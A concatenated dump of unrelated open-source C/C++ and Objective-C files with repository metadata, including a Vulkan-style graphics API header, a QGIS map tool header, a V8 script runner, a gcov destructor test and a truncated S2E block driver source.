943696853703af29ebe0a21b539c4442790b3269
[ "MIT" ]
null
null
null
goofy.h
lleonart1984/goofy
943696853703af29ebe0a21b539c4442790b3269
[ "MIT" ]
null
null
null
goofy.h
lleonart1984/goofy
943696853703af29ebe0a21b539c4442790b3269
[ "MIT" ]
null
null
null
#ifndef GOOFY_H #define GOOFY_H #include <memory> #include <vector> #include <iostream> using namespace std; #pragma region Prototypes namespace goofy { // Public definitions class Device; class Presenter; class Technique; class Process; class BakedProcess; class Pipeline; class ComputePipeline; class GraphicsPipeline; class RaytracingPipeline; class Binder; class ComputeBinder; class GraphicsBinder; class RaytracingBinder; struct CommandListManager; struct TransferManager; struct ComputeManager; struct ComputeExclusiveManager; struct GraphicsManager; struct RaytracingManager; class Resource; class Buffer; class Image1D; class Image2D; class Image3D; class VertexBuffer; class IndexBuffer; class Texture1D; class Texture2D; class Texture3D; struct Sampler; // Sync objects struct CPUTask; struct GPUTask; struct Rallypoint; struct Barrier; enum class EngineType; enum class PipelineStage; enum class ResourceAccess; namespace states { struct __Window; struct __Device; struct __EngineManager; struct __Pipeline; struct __CommandListManager; struct __Resource; struct __CPUTask; struct __GPUTask; struct __Rallypoint; struct __Barrier; } } #pragma endregion #pragma region Memory Management namespace goofy { template<typename S> class Obj { friend states::__Device; friend states::__EngineManager; friend GPUTask; friend CPUTask; friend Presenter; friend Device; friend CommandListManager; friend GraphicsManager; protected: std::shared_ptr<S> __state = nullptr; Obj() {} Obj(std::shared_ptr<S> state) :__state(state) {} public: bool IsNull(); }; } #pragma endregion #pragma region Enums namespace goofy { /// <summary> /// Represents different ways to enqueue a process /// </summary> enum class DispatchMode : int { /// <summary> /// The process is enqueued synchronously in the main thread. /// This task is automatically submitted after frame finishes. /// </summary> MAIN_THREAD = 0, /// <summary> /// The process is set for an asynchronous population and enqueue in current frame. /// This task is automatically submitted after frame finishes. /// </summary> ASYNC_FRAME = 1, /// <summary> /// The process is set for an asynchronous population and enqueue. /// This task must explicitly flushed but can survive across frames. /// </summary> ASYNC = 2 }; /// <summary> /// Different engines supported. Each engine represents a subset of functionalities. /// The Engines might be put together to represent the capabilities expected from the command list manager /// </summary> enum class EngineType { NONE = 0, TRANSFER = 1, COMPUTE = 2, GRAPHICS = 4, RAYTRACING = 8 }; enum class PresenterCreationMode { OFFLINE, NEW_GLFW_WINDOW, EXISTING_GLFW_WINDOW, NEW_SDL_WINDOW, EXISTING_SDL_WINDOW }; enum class PipelineStage { TRANSFER, COMPUTE, VERTEX, GEOMETRY, FRAGMENT, TESSELLATION_HULL, TESSELLATION_DOMAIN }; enum class ResourceAccess { NONE, READ, WRITE }; } #pragma endregion #pragma region Formats namespace goofy { typedef long FormatHandle; namespace Formats { struct R8G8B8A8 { union { unsigned int Value; struct Components { char R; char G; char B; char A; } Components; }; R8G8B8A8() :R8G8B8A8(0) {} R8G8B8A8(unsigned int value) { this->Value = value; } R8G8B8A8(char r, char g, char b, char a) { this->Components.R = r; this->Components.G = g; this->Components.B = b; this->Components.A = a; } static FormatHandle SRGB_Handle(); static FormatHandle SNORM_Handle(); static FormatHandle UNORM_Handle(); static FormatHandle USCALED_Handle(); static FormatHandle SSCALED_Handle(); }; struct R32G32B32A32_SFLOAT { float R; float G; float B; float A; R32G32B32A32_SFLOAT() :R32G32B32A32_SFLOAT(0, 0, 0, 0) {} R32G32B32A32_SFLOAT(float r, float g, float b, float a) : R(r), G(g), B(b), A(a) { } static FormatHandle Handle(); }; } } #pragma endregion #pragma region Device template<typename T> T ___dr(T* a) { return a; } namespace goofy { /// <summary> /// Defines different usages of an image. /// </summary> struct ImageUsage { /// <summary> /// Allows transfers from the image. /// </summary> bool TransferSource; /// <summary> /// Allows transfers to the images. /// </summary> bool TransferDestination; /// <summary> /// Allows the image to be used as a sampled texture. /// </summary> bool Sampled; /// <summary> /// Allows the image to be a storage image. /// </summary> bool Storage; /// <summary> /// Allows the image to be used in a framebuffer. /// </summary> bool RenderTarget; /// <summary> /// Allows the image to be used as depthstencil buffer. /// </summary> bool DepthStencil; }; struct PresenterDescription { /// <summary> /// Determines the initial surface for the presenter to draw to. /// (Offline) means there is no a window and the framebuffer is a normal image with the specific resolution. /// Swapchain is emulated in this case. /// (New_*) means it will create a new window with the resolution specified. /// (Extisting_*) means it will use a existing window to draw to. Resolution can not be specified and will use current window resolution. /// </summary> PresenterCreationMode mode; /// <summary> /// Determines the number of frames in fly for the presenter. /// If 0 is specified then deafult value 1 is assumed. /// </summary> int frames; /// <summary> /// Determines the number of internal threads used for asynchronous command list population in frames. /// If 0 is specified then async calls will be solved synchronously. /// Process in these threads are automatically flushed every frame. /// </summary> int frame_threads; /// <summary> /// Determines the number of internal threads used for asynchronous command list population across frames. /// If 0 is specified then async calls will be solved synchronously. /// Process in these threads must be flushed by user. Loosing references to those CPU or GPU Task objects will produce an exception. /// </summary> int async_threads; /// <summary> /// Determines the presentation format for the framebuffer. /// Common value used is Format::R8G8B8A8_SRGB /// </summary> FormatHandle PresentationFormat; /// <summary> /// Determines the valid usages of swapchain images. /// </summary> ImageUsage Usage; /// <summary> /// Gets or sets the window name in case a new window is created. /// </summary> std::string window_name; union { /// <summary> /// Instance of GLFW window to draw to if EXISTING_GLFW_WINDOW /// Instance of SDL window to draw to if EXISTING_SDL_WINDOW /// </summary> void* ExistingWindow; struct Resolution { unsigned int width; unsigned int height; } resolution; }; }; /// <summary> /// Allows to define events for in-queue commands synchronization /// </summary> struct Rallypoint : public Obj<states::__Rallypoint> { }; /// <summary> /// Allows to define barriers for in-queue commands synchronization /// </summary> struct Barrier : public Obj<states::__Barrier> { }; struct CommandListManager : public Obj<states::__CommandListManager> { friend states::__EngineManager; friend TransferManager; friend ComputeManager; friend GraphicsManager; friend RaytracingManager; private: EngineType _supported_engines; CommandListManager(EngineType support); template<typename T> void CheckCastSupport(); public: template<typename T> /// <summary> /// Allows to cast a command list manager to other manager types whenever is allowed by the supported engines. /// </summary> T As(); EngineType Engines(); void Set(Rallypoint point); void Set(Barrier barrier); void Wait(Rallypoint point); }; struct TransferManager : public CommandListManager { static EngineType const SupportedEngines = EngineType::TRANSFER; private: TransferManager(); }; struct ComputeManager : public CommandListManager { static EngineType const SupportedEngines = (EngineType)((int)EngineType::COMPUTE | (int)EngineType::TRANSFER); private: ComputeManager(); }; struct ComputeExclusiveManager : public CommandListManager { static EngineType const SupportedEngines = EngineType::COMPUTE; private: ComputeExclusiveManager(); }; struct GraphicsManager : public CommandListManager { static EngineType const SupportedEngines = (EngineType)((int)EngineType::GRAPHICS | (int)EngineType::COMPUTE | (int)EngineType::TRANSFER); void Clear(Image2D image, const Formats::R32G32B32A32_SFLOAT &color); private: GraphicsManager(); }; struct RaytracingManager : public CommandListManager { static EngineType const SupportedEngines = (EngineType)((int)EngineType::RAYTRACING | (int)EngineType::GRAPHICS | (int)EngineType::COMPUTE | (int)EngineType::TRANSFER); private: RaytracingManager(); }; /// <summary> /// Represents the abstraction of a graphic process by means of command list population process. /// </summary> struct Process { virtual EngineType RequiredEngines() = 0; virtual void Populate(CommandListManager manager) = 0; }; template<typename I, typename M> struct MethodProcess : public Process{ typedef void(I::* Member)(M); Member function; I* instance; MethodProcess(I* instance, Member function) :instance(instance), function(function) {} virtual EngineType RequiredEngines() override; virtual void Populate(CommandListManager manager) override; }; struct BufferDescription { }; struct Image1DDescription { }; struct Image2DDescription { }; struct Image3DDescription { }; struct CPUTask : public Obj<states::__CPUTask> { void Wait(); }; struct GPUTask : public Obj<states::__GPUTask> { void Wait(); static GPUTask Combine(int count, GPUTask* tasks); }; #define Dispatch_Method(m) Dispatch(this, &decltype(___dr(this))::m) #define Dispatch_Method_In_Frame_Async(m) Dispatch(this, &decltype(___dr(this))::m, goofy::DispatchMode::ASYNC_FRAME) #define Dispatch_Method_Async(m) Dispatch(this, &decltype(___dr(this))::m, goofy::DispatchMode::ASYNC) /// <summary> /// Represents a base class for Presenter and Technique. /// </summary> class Device : public Obj<states::__Device> { friend Presenter; friend Technique; Device(states::__Device* initialState); void BindTechnique(std::shared_ptr<Technique> technique); protected: std::shared_ptr<BakedProcess> Bake(std::shared_ptr<Process> process); CPUTask Dispatch(std::shared_ptr<Process> process, DispatchMode mode = DispatchMode::MAIN_THREAD); template<typename I, typename M> CPUTask Dispatch(I* instance, typename MethodProcess<I, M>::Member function, DispatchMode mode = DispatchMode::MAIN_THREAD) { return Dispatch(std::shared_ptr<MethodProcess<I, M>>(new MethodProcess<I, M>(instance, function)), mode); } template<typename I> CPUTask Dispatch(I* instance, typename MethodProcess<I, GraphicsManager>::Member function, DispatchMode mode = DispatchMode::MAIN_THREAD) { return Dispatch<I, GraphicsManager>(instance, function, mode); } CPUTask Dispatch(std::shared_ptr<BakedProcess> process, DispatchMode mode = DispatchMode::MAIN_THREAD); /// <summary> /// Flushes all populating tasks, submit to gpu queues and return a gputask signaling object for further synchronization. /// Receives a set of other gpu tasks to wait for on the gpu. /// </summary> GPUTask Flush(int count, CPUTask* tasks, int waitingCount = 0, GPUTask* waitingGPU = nullptr); Buffer Create(const BufferDescription& description); Image1D Create(const Image1DDescription& description); Image2D Create(const Image2DDescription& description); Image3D Create(const Image3DDescription& description); Rallypoint CreateRallypoint(); public: /// <summary> /// Gets the current frame-in-fly index. /// </summary> int GetCurrentFrameIndex(); /// <summary> /// Gets the number of frames-in-fly. /// </summary> int NumberOfFrames(); /// <summary> /// Gets the render target width /// </summary> int RenderTargetWidth(); /// <summary> /// Gets the render target height /// </summary> int RenderTargetHeight(); /// <summary> /// Gets the current render target to draw to. /// </summary> Texture2D GetCurrentRenderTarget(); /// <summary> /// Loads a technique. If argument is null, then a new technique is instanciated. /// Additional arguments are discarded if the technique is already instanciated. /// Will trigger the OnLoad event of the technique. /// </summary> template<typename T, typename... A> void LoadTechnique(std::shared_ptr<T>& technique, A ...args); /// <summary> /// Dispatches a technique. This will trigger the OnDispatch event of the technique /// </summary> template<typename T> void DispatchTechnique(const std::shared_ptr<T>& technique); }; class Window : public Obj<states::__Window> { public: bool IsClosed(); void PollEvents(); double Time(); void* InternalWindow(); }; class Presenter : public Device { Presenter(const PresenterDescription& description); public: static void CreateNew(const PresenterDescription& description, std::shared_ptr<Presenter>& presenter); void BeginFrame(); void EndFrame(); Window Window(); }; class Technique : protected Device { friend Device; protected: Technique() : Device(nullptr) { } virtual void OnLoad() = 0; virtual void OnDispatch() = 0; }; class Resource : public Obj<states::__Resource> { }; class Image2D : public Resource { public: Texture2D AsTexture(const Sampler& sampler); }; class Texture2D : public Image2D { }; // GENERIC IMPLEMENTATIONS template<typename T, typename ...A> void Device::LoadTechnique(std::shared_ptr<T>& technique, A ...args) { if (technique == nullptr) technique = std::shared_ptr<T>(new T(args...)); BindTechnique(technique); technique->OnLoad(); } template<typename T> void Device::DispatchTechnique(const std::shared_ptr<T>& technique) { technique->OnDispatch(); } template<typename T> void CommandListManager::CheckCastSupport() { if (!(((int)T::SupportedEngines & (int)this->_supported_engines) == (int)T::SupportedEngines)) throw std::runtime_error("Current command list manager doesnt support the destination engine requirement."); } template<typename T> T CommandListManager::As() { CheckCastSupport<T>(); return *(T*)this; } template<typename I, typename M> inline EngineType goofy::MethodProcess<I, M>::RequiredEngines() { return M::SupportedEngines; } template<typename I, typename M> inline void goofy::MethodProcess<I, M>::Populate(CommandListManager manager) { (instance->*function)(manager.As<M>()); } } #pragma endregion #endif
24.272727
170
0.711878
0aa7d42537ccf3dc8a172b4a00ad357c7a128538
2,675
h
C
src/app/qgsmaptooldeletering.h
dyna-mis/Hilabeling
cb7d5d4be29624a20c8a367162dbc6fd779b2b52
[ "MIT" ]
null
null
null
src/app/qgsmaptooldeletering.h
dyna-mis/Hilabeling
cb7d5d4be29624a20c8a367162dbc6fd779b2b52
[ "MIT" ]
null
null
null
src/app/qgsmaptooldeletering.h
dyna-mis/Hilabeling
cb7d5d4be29624a20c8a367162dbc6fd779b2b52
[ "MIT" ]
1
2021-12-25T08:40:30.000Z
2021-12-25T08:40:30.000Z
/*************************************************************************** qgsmaptooldeletering.h - delete a ring from polygon --------------------- begin : April 2009 copyright : (C) 2009 by Richard Kostecky email : csf dot kostej at mail dot com *************************************************************************** * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * ***************************************************************************/ #ifndef QGSMAPTOOLDELETERING_H #define QGSMAPTOOLDELETERING_H #include "qgsmaptooledit.h" #include "qgis_app.h" #include "qgsgeometry.h" #include "qgsfeatureid.h" class QgsVertexMarker; //! Map tool to delete vertices from line/polygon features class APP_EXPORT QgsMapToolDeleteRing : public QgsMapToolEdit { Q_OBJECT public: QgsMapToolDeleteRing( QgsMapCanvas *canvas ); ~QgsMapToolDeleteRing() override; void canvasMoveEvent( QgsMapMouseEvent *e ) override; void canvasPressEvent( QgsMapMouseEvent *e ) override; void canvasReleaseEvent( QgsMapMouseEvent *e ) override; //! called when map tool is being deactivated void deactivate() override; private: QgsVectorLayer *vlayer = nullptr; //! delete inner ring from the geometry void deleteRing( QgsFeatureId fId, int beforeVertexNr, QgsVectorLayer *vlayer ); //! Returns the ring number in polygon int ringNumInPolygon( const QgsGeometry &g, int vertexNr ); //! Returns the ring number in multipolygon and set parNum to index of the part int ringNumInMultiPolygon( const QgsGeometry &g, int vertexNr, int &partNum ); /** * Returns the geometry of the ring under the point p and sets fid to the feature id, * partNum to the part number in the feature and ringNum to the ring number in the part */ QgsGeometry ringUnderPoint( const QgsPointXY &p, QgsFeatureId &fid, int &partNum, int &ringNum ); /* Rubberband that shows the ring being deleted*/ QgsRubberBand *mRubberBand = nullptr; //The feature, part and ring the mouse was pressed in, to check we are still in the same ring at release QgsFeatureId mPressedFid; int mPressedPartNum; int mPressedRingNum; }; #endif
36.643836
109
0.593645
528fe92a8eb2ffd7d87e6f5fde2a8cec9d8503ba
1,810
h
C
Conch/source/conch/JSWrapper/JSInterface/V8/JSCProxyTLS.h
waitingchange/ModifyLayanative2.0
05370d79a14f5b85367251c8ea846da4316f60f3
[ "Apache-2.0" ]
null
null
null
Conch/source/conch/JSWrapper/JSInterface/V8/JSCProxyTLS.h
waitingchange/ModifyLayanative2.0
05370d79a14f5b85367251c8ea846da4316f60f3
[ "Apache-2.0" ]
null
null
null
Conch/source/conch/JSWrapper/JSInterface/V8/JSCProxyTLS.h
waitingchange/ModifyLayanative2.0
05370d79a14f5b85367251c8ea846da4316f60f3
[ "Apache-2.0" ]
null
null
null
// // JSCProxyTLS.h // jsc_test // // Created by 蒋 宇彤 on 13-11-25. // Copyright (c) 2013年 蒋 宇彤. All rights reserved. // #ifndef jsc_test_JSCProxyTLS_h #define jsc_test_JSCProxyTLS_h #include <v8.h> #include <string> #include <util/JCCommonMethod.h> #include <util/Log.h> #include <sstream> namespace laya{ extern void JSAlert(const char* p_sBuffer); class __JsThrow { public: static void Throw( const char *p_pszInfo ) { v8::Isolate::GetCurrent()->ThrowException(v8::String::NewFromUtf8(v8::Isolate::GetCurrent(), (0==p_pszInfo)?"unknown error":p_pszInfo)); } }; extern bool gbAlertException; class __JSRun { public: // Extracts a C string from a V8 Utf8Value. static const char* ToCString(const v8::String::Utf8Value& value) { return *value ? *value : "<string conversion failed>"; } static void ReportException(v8::Isolate* isolate, v8::TryCatch* try_catch); static bool Run( const char *p_pszScript ) { v8::Isolate* isolate = v8::Isolate::GetCurrent(); v8::HandleScope handle_scope(isolate); v8::TryCatch try_catch(isolate); v8::Handle<v8::String> source = v8::String::NewFromUtf8(v8::Isolate::GetCurrent(), p_pszScript); v8::Handle<v8::Script> script = v8::Script::Compile(source); if( script.IsEmpty() ){ //打印编译错误信息 printf("---Compile script error---\n"); ReportException(isolate, &try_catch); return false; } v8::Handle<v8::Value> res = script->Run(); if( !res.IsEmpty() && !res->IsUndefined() ) { v8::String::Utf8Value ascii(res); printf("run result: [%s]\n", *ascii); } if( try_catch.HasCaught()){ printf("---run script error---\n"); ReportException(isolate, &try_catch); } return true; } }; } #endif
25.857143
139
0.637569
f81c1c98d989670293ed5c1d69afcc0501893e6f
267
h
C
bomb/AnalogInput.h
gercunderscore4/Ravio_Cosplay_Code
9e8a5328a6e67918be3a644a3e9406274c1c32c9
[ "MIT" ]
null
null
null
bomb/AnalogInput.h
gercunderscore4/Ravio_Cosplay_Code
9e8a5328a6e67918be3a644a3e9406274c1c32c9
[ "MIT" ]
null
null
null
bomb/AnalogInput.h
gercunderscore4/Ravio_Cosplay_Code
9e8a5328a6e67918be3a644a3e9406274c1c32c9
[ "MIT" ]
null
null
null
/* * ATtiny84 analog input * Section 16 */ #ifndef __ANALOGINPUT_H__ #define __ANALOGINPUT_H__ #include <avr/io.h> #define ANALOG_MAX 0x3FF // set this: #define ANALOG_PIN 0 void analogInit (void); uint16_t analogRead (void); #endif // __ANALOGINPUT_H__
13.35
27
0.726592
da88112b3f36c04d0ab988acf89c9e48463bb437
331
h
C
libembroidery/utility/ino-logging.h
Drahflow/Embroidermodder
5fe2bed6407845e9d183aee40095b3f778a5b559
[ "Zlib" ]
1
2021-11-18T08:31:10.000Z
2021-11-18T08:31:10.000Z
libembroidery/utility/ino-logging.h
Drahflow/Embroidermodder
5fe2bed6407845e9d183aee40095b3f778a5b559
[ "Zlib" ]
null
null
null
libembroidery/utility/ino-logging.h
Drahflow/Embroidermodder
5fe2bed6407845e9d183aee40095b3f778a5b559
[ "Zlib" ]
null
null
null
/*! @file ino-logging.h */ #ifndef INO_LOGGING_H #define INO_LOGGING_H #ifdef __cplusplus extern "C" { #endif void inoLog_serial(const char* msg); #ifdef __cplusplus } #endif /* __cplusplus */ #endif /* INO_LOGGING_H */ /* kate: bom off; indent-mode cstyle; indent-width 4; replace-trailing-space-save on; */
18.388889
89
0.676737
0a514141dec0c65cce555a7dce719817d2b3cf96
1,944
h
C
Example/SFramework/SFImagePicker/SFImagePicker.h
SattarFalahati/SFramework
b099fc660a68b8dd0da2d9e032b463e813022753
[ "MIT" ]
2
2017-05-24T13:57:58.000Z
2017-10-31T10:05:18.000Z
SFImagePickerExample/SFImagePicker/SFImagePicker.h
SattarFalahati/SFImagePicker
82bbc0cbc638c7a2ed6fbec086ca320d46dac712
[ "MIT" ]
null
null
null
SFImagePickerExample/SFImagePicker/SFImagePicker.h
SattarFalahati/SFImagePicker
82bbc0cbc638c7a2ed6fbec086ca320d46dac712
[ "MIT" ]
null
null
null
// // SFImagePicker.h // SFramework // // Created by Sattar Falahati on 14/03/17. // Copyright © 2017 sattar_falahati. All rights reserved. // #import <UIKit/UIKit.h> /** * A class to use Camera and gallery of the phone * To implement and make this class working : * A) Copy SFImagePicker.h/m , SFImagePickerCell.h/m and ImagePicker.storyboard to your project * B) You can change icons but if you want to use icons copy the SFImagePicker folder from Images.cxassets * C) Don't Forget about Plist and add this lines : <key>NSCameraUsageDescription</key> <string>Your description</string> <key>NSPhotoLibraryUsageDescription</key> <string>Your description</string> * @param : Delegate (you need to set delegate to get selected photo) * @param : Option to chose between front and back camera (default is back camera) * @param : Option to show selected photo preview (default is NO) * @return : Selected photo in delegate **/ /// Options (front/back) Camera typedef NS_ENUM(NSUInteger, SFImagePickerCameraOption) { SFImagePickerCameraFront = 1, SFImagePickerCameraBack }; @protocol SFImagePickerDelegate <NSObject> - (void)selectedPhoto:(UIImage *)photo; @end @interface SFImagePicker : UIViewController // Delegate @property (weak, nonatomic) id<SFImagePickerDelegate> delegate; // Option @property (nonatomic) SFImagePickerCameraOption option; @property (nonatomic) BOOL showPreview; // UI @property (weak, nonatomic) IBOutlet UIView *cameraView; @property (weak, nonatomic) IBOutlet UICollectionView *imageCollection; @property (weak, nonatomic) IBOutlet UIButton *btnChangeCamera; @property (weak, nonatomic) IBOutlet UIButton *btnResize; // Container @property (weak, nonatomic) IBOutlet UIView *viewContainer; // Auto layout @property (weak, nonatomic) IBOutlet NSLayoutConstraint *collectionHaight; // Collection @property (strong, nonatomic) IBOutletCollection(UIButton) NSArray *buttons; @end
29.907692
106
0.759774
dd7ebad79bac63b906c27628b41f1f8b5df855fc
130
h
C
Tarea7/venta.h
LaryEscobar/cpp
6f131350a8fa23b155a3114191c6d63da9709313
[ "MIT" ]
null
null
null
Tarea7/venta.h
LaryEscobar/cpp
6f131350a8fa23b155a3114191c6d63da9709313
[ "MIT" ]
null
null
null
Tarea7/venta.h
LaryEscobar/cpp
6f131350a8fa23b155a3114191c6d63da9709313
[ "MIT" ]
null
null
null
#include <iostream> using namespace std; void menu(); int main(int argc, char const *argv[]) { menu(); return 0; }
8.666667
38
0.6
3e15ff3e19aed124a053900da2085a6b99b5353a
299
h
C
protocols/CKEffectPickerViewControllerDelegate.h
shaojiankui/iOS10-Runtime-Headers
6b0d842bed0c52c2a7c1464087b3081af7e10c43
[ "MIT" ]
36
2016-04-20T04:19:04.000Z
2018-10-08T04:12:25.000Z
protocols/CKEffectPickerViewControllerDelegate.h
shaojiankui/iOS10-Runtime-Headers
6b0d842bed0c52c2a7c1464087b3081af7e10c43
[ "MIT" ]
null
null
null
protocols/CKEffectPickerViewControllerDelegate.h
shaojiankui/iOS10-Runtime-Headers
6b0d842bed0c52c2a7c1464087b3081af7e10c43
[ "MIT" ]
10
2016-06-16T02:40:44.000Z
2019-01-15T03:31:45.000Z
/* Generated by RuntimeBrowser. */ @protocol CKEffectPickerViewControllerDelegate @required - (void)effectPickerViewController:(CKEffectPickerViewController *)arg1 effectWithIdentifierSelected:(NSString *)arg2; - (void)effectPickerViewControllerClose:(CKEffectPickerViewController *)arg1; @end
24.916667
118
0.832776
e3b678c864bc283e33621f51f57ced9bae62bcfe
611
h
C
adapters/AppLovin/AppLovinAdapter/OpenBidding/GADMAdapterAppLovinRewardedRenderer.h
fritzhuie/googleads-mobile-ios-mediation
80f69b09078e1b281760dc7c04499654c84999eb
[ "Apache-2.0" ]
2
2019-04-26T16:53:01.000Z
2019-04-26T16:53:05.000Z
adapters/AppLovin/AppLovinAdapter/OpenBidding/GADMAdapterAppLovinRewardedRenderer.h
UnityTech/googleads-mobile-ios-mediation
80f69b09078e1b281760dc7c04499654c84999eb
[ "Apache-2.0" ]
null
null
null
adapters/AppLovin/AppLovinAdapter/OpenBidding/GADMAdapterAppLovinRewardedRenderer.h
UnityTech/googleads-mobile-ios-mediation
80f69b09078e1b281760dc7c04499654c84999eb
[ "Apache-2.0" ]
null
null
null
// // GADMRTBAdapterAppLovinRewardedRenderer.h // Adapter // // Created by Christopher Cong on 7/17/18. // Copyright © 2018 Google. All rights reserved. // #import <Foundation/Foundation.h> #import <GoogleMobileAds/GoogleMobileAds.h> @interface GADMAdapterAppLovinRewardedRenderer : NSObject <GADMediationRewardedAd> - (instancetype)initWithAdConfiguration:(GADMediationRewardedAdConfiguration *)adConfiguration completionHandler:(GADMediationRewardedLoadCompletionHandler)handler; - (instancetype)init NS_UNAVAILABLE; - (void)requestRTBRewardedAd; - (void)requestRewardedAd; @end
29.095238
94
0.783961
c6fa144bcb39f81f4a035ef7e9c9dbd234ae88c2
1,335
c
C
compiler-rt/test/profile/Posix/gcov-destructor.c
mkinsner/llvm
589d48844edb12cd357b3024248b93d64b6760bf
[ "Apache-2.0" ]
2,338
2018-06-19T17:34:51.000Z
2022-03-31T11:00:37.000Z
compiler-rt/test/profile/Posix/gcov-destructor.c
mkinsner/llvm
589d48844edb12cd357b3024248b93d64b6760bf
[ "Apache-2.0" ]
3,740
2019-01-23T15:36:48.000Z
2022-03-31T22:01:13.000Z
compiler-rt/test/profile/Posix/gcov-destructor.c
mkinsner/llvm
589d48844edb12cd357b3024248b93d64b6760bf
[ "Apache-2.0" ]
500
2019-01-23T07:49:22.000Z
2022-03-30T02:59:37.000Z
/// Test that destructors and destructors whose priorities are greater than 100 are tracked. // RUN: mkdir -p %t.dir && cd %t.dir // RUN: %clang --coverage %s -o %t // RUN: rm -f gcov-destructor.gcda && %run %t // RUN: llvm-cov gcov -t gcov-destructor.gcda | FileCheck %s // UNSUPPORTED: darwin #include <unistd.h> void before_exec() {} // CHECK: 1: [[#@LINE]]:void before_exec void after_exec() {} // CHECK-NEXT: 1: [[#@LINE]]:void after_exec __attribute__((constructor)) // CHECK: -: [[#@LINE]]:__attribute__ void constructor() {} // CHECK-NEXT: 1: [[#@LINE]]: /// Runs before __llvm_gcov_writeout. __attribute__((destructor)) // CHECK: -: [[#@LINE]]:__attribute__ void destructor() {} // CHECK-NEXT: 1: [[#@LINE]]: __attribute__((destructor(101))) // CHECK: -: [[#@LINE]]:__attribute__ void destructor_101() {} // CHECK-NEXT: 1: [[#@LINE]]: /// Runs after __llvm_gcov_writeout. __attribute__((destructor(99))) // CHECK: -: [[#@LINE]]:__attribute__ void destructor_99() {} // CHECK-NEXT: #####: [[#@LINE]]: int main() { before_exec(); // Implicit writeout. execl("/not_exist", "not_exist", (char *)0); // Still tracked. after_exec(); return 0; }
38.142857
92
0.563296
09ea9238126eaecbf43a9573b494da842fe1cc68
194
h
C
src/falclib/include/ui.h
Terebinth/freefalcon-central
c28d807183ab447ef6a801068aa3769527d55deb
[ "BSD-2-Clause" ]
117
2015-01-13T14:48:49.000Z
2022-03-16T01:38:19.000Z
src/falclib/include/ui.h
darongE/freefalcon-central
c28d807183ab447ef6a801068aa3769527d55deb
[ "BSD-2-Clause" ]
4
2015-05-01T13:09:53.000Z
2017-07-22T09:11:06.000Z
src/falclib/include/ui.h
darongE/freefalcon-central
c28d807183ab447ef6a801068aa3769527d55deb
[ "BSD-2-Clause" ]
78
2015-01-13T09:27:47.000Z
2022-03-18T14:39:09.000Z
// // // // UI.H - Copyright (c) 1995, Spectrum HoloByte, Inc. // // // // #ifndef __UI_H__ #define __UI_H__ #define UI_TIMER_INTERVAL 1000 // Update timer on 1 second intervals #endif
10.777778
68
0.64433
918448a168e93f9fb4dc2b4af874189ff6ac2d5f
31,685
c
C
s2e/source/qemu/block/s2e.c
Albocoder/KOOBE
dd8acade05b0185771e1ea9950de03ab5445a981
[ "MIT" ]
55
2019-12-20T03:25:14.000Z
2022-01-16T07:19:47.000Z
s2e/source/qemu/block/s2e.c
Albocoder/KOOBE
dd8acade05b0185771e1ea9950de03ab5445a981
[ "MIT" ]
2
2020-11-02T08:01:00.000Z
2022-03-27T02:59:18.000Z
s2e/source/qemu/block/s2e.c
Albocoder/KOOBE
dd8acade05b0185771e1ea9950de03ab5445a981
[ "MIT" ]
11
2020-08-06T03:59:45.000Z
2022-02-25T02:31:59.000Z
/* * S2E Selective Symbolic Execution Platform * * Copyright (c) 2013, Dependable Systems Laboratory, EPFL * Copyright (c) 2017-2018, Cyberhaven * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of the Dependable Systems Laboratory, EPFL nor the * names of its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE DEPENDABLE SYSTEMS LABORATORY, EPFL BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /** * The S2E VM image format. * * Traditional image formats are not suitable for multi-path execution, because * they usually mutate internal bookkeeping structures on read operations. * Worse, they write these mutations back to the disk image file, causing * VM image corruptions. QCOW2 is one example of such formats. * * The S2E image format, unlike the other formats, is multi-path aware. * When in S2E mode, writes are local to each state and do not clobber other states. * Moreover, writes are NEVER written on the image. This makes it possible * to share one disk image among many instances of S2E. * * The S2E image format is identical to the RAW format, except that the * image file name has the ".s2e" extension. Therefore, to convert from * RAW to S2E, renaming the file is enough (a symlink is fine too). * * Snapshots are stored in a separate file, suffixed by the name of the * snapshot. For example, if the base image is called "my_image.raw.s2e", * the snapshot "ready" (as in "savevm ready") will be saved in the file * "my_image.raw.s2e.ready" in the same folder as "my_image.raw.s2e". * * If the base image is modified, all snapshots become invalid. */ #include <dirent.h> #include <libgen.h> #include <sys/types.h> #include <sys/stat.h> #include <stdbool.h> #include <inttypes.h> #include "qemu/osdep.h" #include "qemu/error-report.h" #include "block/qdict.h" #include "qemu/osdep.h" #include "block/block_int.h" #include "qapi/error.h" #include "qemu/option.h" int kvm_disk_rw(void *buffer, uint64_t sector, int count, int is_write) __attribute__((weak)); int kvm_has_disk_rw(void) __attribute__((weak)); static int __hook_bdrv_read(struct BlockDriverState *bs, int64_t sector_num, uint8_t *buf, int nb_sectors) { assert(kvm_has_disk_rw && kvm_disk_rw); return kvm_disk_rw(buf, sector_num, nb_sectors, false); } static int __hook_bdrv_write(struct BlockDriverState *bs, int64_t sector_num, uint8_t *buf, int nb_sectors) { assert(kvm_has_disk_rw && kvm_disk_rw); return kvm_disk_rw(buf, sector_num, nb_sectors, true); } #define S2EB_L2_SIZE 65536 #define 